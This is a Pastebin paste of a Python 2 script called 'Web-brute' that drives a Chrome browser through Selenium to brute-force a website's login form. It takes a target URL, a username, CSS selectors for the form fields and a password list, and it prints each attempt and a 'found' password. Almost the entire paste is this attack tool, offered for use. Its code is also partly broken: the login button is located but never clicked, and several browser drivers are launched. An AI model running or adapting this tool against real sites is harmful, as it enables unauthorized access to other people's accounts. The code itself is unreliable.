skip420

Web-brute

Jan 26th, 2021
1,065
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #-h, --help            show this help message and exit<br>
  2.   #-u USERNAME, --username=USERNAME Choose the username<br>
  3.   #--usernamesel=USERNAMESEL Choose the username selector<br>
  4.   #--passsel=PASSSEL     Choose the password selector<br>
  5.   #--loginsel=LOGINSEL   Choose the login button selector<br>
  6.   #--passlist=PASSLIST   Enter the password list directory<br>
  7.   #--website=WEBSITE     choose a website<br>
  8. # python Web_Brute.py
  9.  
  10.  
  11. import sys
  12. import datetime
  13. import selenium
  14. import requests
  15. import time as t
  16. from sys import stdout
  17. from selenium import webdriver
  18. from optparse import OptionParser
  19. from selenium.webdriver.common.keys import Keys
  20. from selenium.common.exceptions import NoSuchElementException
  21.  
  22.  
  23. #Graphics
  24. class color:
  25.    PURPLE = '\033[95m'
  26.    CYAN = '\033[96m'
  27.    DARKCYAN = '\033[36m'
  28.    BLUE = '\033[94m'
  29.    GREEN = '\033[92m'
  30.    YELLOW = '\033[93m'
  31.    RED = '\033[91m'
  32.    BOLD = '\033[1m'
  33.    UNDERLINE = '\033[4m'
  34.    END = '\033[0m'
  35.    CWHITE  = '\33[37m'
  36.  
  37.  
  38. #Config#
  39. parser = OptionParser()
  40. now = datetime.datetime.now()
  41.  
  42.  
  43. #Args
  44. parser.add_option("-u", "--username", dest="username",help="Choose the username")
  45. parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector")
  46. parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
  47. parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
  48. parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
  49. parser.add_option("--website", dest="website",help="choose a website")
  50. (options, args) = parser.parse_args()
  51.  
  52.  
  53. CHROME_DVR_DIR = '/usr/bin/chromedriver'
  54.  
  55. def wizard():
  56.     print (banner)
  57.     website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
  58.     sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
  59.     sys.stdout.flush()
  60.     t.sleep(1)
  61.     try:
  62.         request = requests.get(website)
  63.         if request.status_code == 200:
  64.             print (color.GREEN + '[OK]'+color.CWHITE)
  65.             sys.stdout.flush()
  66.     except selenium.common.exceptions.NoSuchElementException:
  67.         pass
  68.     except KeyboardInterrupt:
  69.         print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
  70.         exit()
  71.     except:
  72.         t.sleep(1)
  73.         print (color.RED + '[X]'+color.CWHITE)
  74.         t.sleep(1)
  75.         print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
  76.         exit()
  77.  
  78.     username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
  79.     password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
  80.     login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
  81.     username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
  82.     pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
  83.     brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
  84.  
  85. def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
  86.     f = open(pass_list, 'r')
  87.     driver = webdriver.Chrome(CHROME_DVR_DIR)
  88.     optionss = webdriver.ChromeOptions()
  89.     optionss.add_argument("--disable-popup-blocking")
  90.     optionss.add_argument("--disable-extensions")
  91.     count = 1 #count
  92.     browser = webdriver.Chrome(CHROME_DVR_DIR)
  93.     while True:
  94.         try:
  95.             for line in f:
  96.                 browser.get(website)
  97.                 t.sleep(2)
  98.                 Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector
  99.                 Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector
  100.                 enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector
  101.                 # browser.find_element_by_css_selector(password_selector).clear()
  102.                 # browser.find_element_by_css_selector(username_selector).clear()
  103.                 Sel_user.send_keys(username)
  104.                 Sel_pas.send_keys(line)
  105.                 t.sleep(5)
  106.                 print '------------------------'
  107.                 print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
  108.                 print '------------------------'
  109.                 temp = line
  110.         except KeyboardInterrupt: #returns to main menu if ctrl C is used
  111.             exit()
  112.         except selenium.common.exceptions.NoSuchElementException:
  113.             print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! '
  114.             print 'LAST PASS ATTEMPT BELLOW'
  115.             print color.GREEN + 'Password has been found: {0}'.format(temp)
  116.             print color.YELLOW + 'Have fun :)'
  117.             exit()
  118.  
  119.  
  120.  
  121. banner = color.BOLD + color.RED +'''
  122.  _    _       _       _
  123.  
  124.  {0}[{1}-{2}]--> {3}
  125.  {4}[{5}-{6}]--> {7}Used by Skip420
  126.  {8}[{9}-{10}]-->{11} Web_Bruter                      '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)
  127.  
  128. driver = webdriver.Chrome(CHROME_DVR_DIR)
  129. optionss = webdriver.ChromeOptions()
  130. optionss.add_argument("--disable-popup-blocking")
  131. optionss.add_argument("--disable-extensions")
  132. count = 1 #count
  133.  
  134. if options.username == None:
  135.     if options.usernamesel == None:
  136.         if options.passsel == None:
  137.             if options.loginsel == None:
  138.                 if options.passlist == None:
  139.                     if options.website == None:
  140.                         wizard()
  141.  
  142.  
  143. username = options.username
  144. username_selector = options.usernamesel
  145. password_selector = options.passsel
  146. login_btn_selector = options.loginsel
  147. website = options.website
  148. pass_list = options.passlist
  149. print banner
  150. brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
RAW Paste Data